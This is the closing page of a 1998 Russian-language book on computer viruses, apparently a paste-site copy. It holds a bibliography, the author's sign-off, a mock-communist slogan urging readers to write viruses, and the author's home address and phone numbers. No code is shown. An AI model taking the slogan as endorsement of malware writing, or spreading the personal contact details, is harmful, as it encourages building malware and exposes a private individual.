- " Пишем вирус... и антивирус ! ",
- М.: Инфо, 1991
- 4. Касаткин А .И
- " Профессиональное программирова-
- ние на языке СИ .Управление ре-
- сурсами ", Минск, Вышейшая шко-
- ла, 1992
- 5. Самофалов К .Г, Викторов О .В
- " Микропроцессоры ",М.:Библиотека ин-
- женера, 1990
- г. Житомир, 18.08.1998
- И. Коваль
- По возникшим вопросам вы можете обратиться к авто-
- ру этой книги .С благодарностью приму любые заме-
- чания, пожелания и предложения .
- __________________________________________________
- ПИШИТЕ ВИРУСЫ, КАК ЗАВЕЩАЛ ВЕЛИКИЙ ЛЕНИН, КАК УЧИТ
- НАС КОММУНИСТИЧЕСКАЯ ПАРТИЯ !!!
- --------------------------------------------------
- Украина
- г. Житомир
- ул. Большая Бердичевская, д. 83, кв. 25
- Коваль Игорь Михайлович
- тел. 8 (0412) 343427
- 8 (0412) 204218
- Индекс : 262002
Add Comment
Please, Sign In to add comment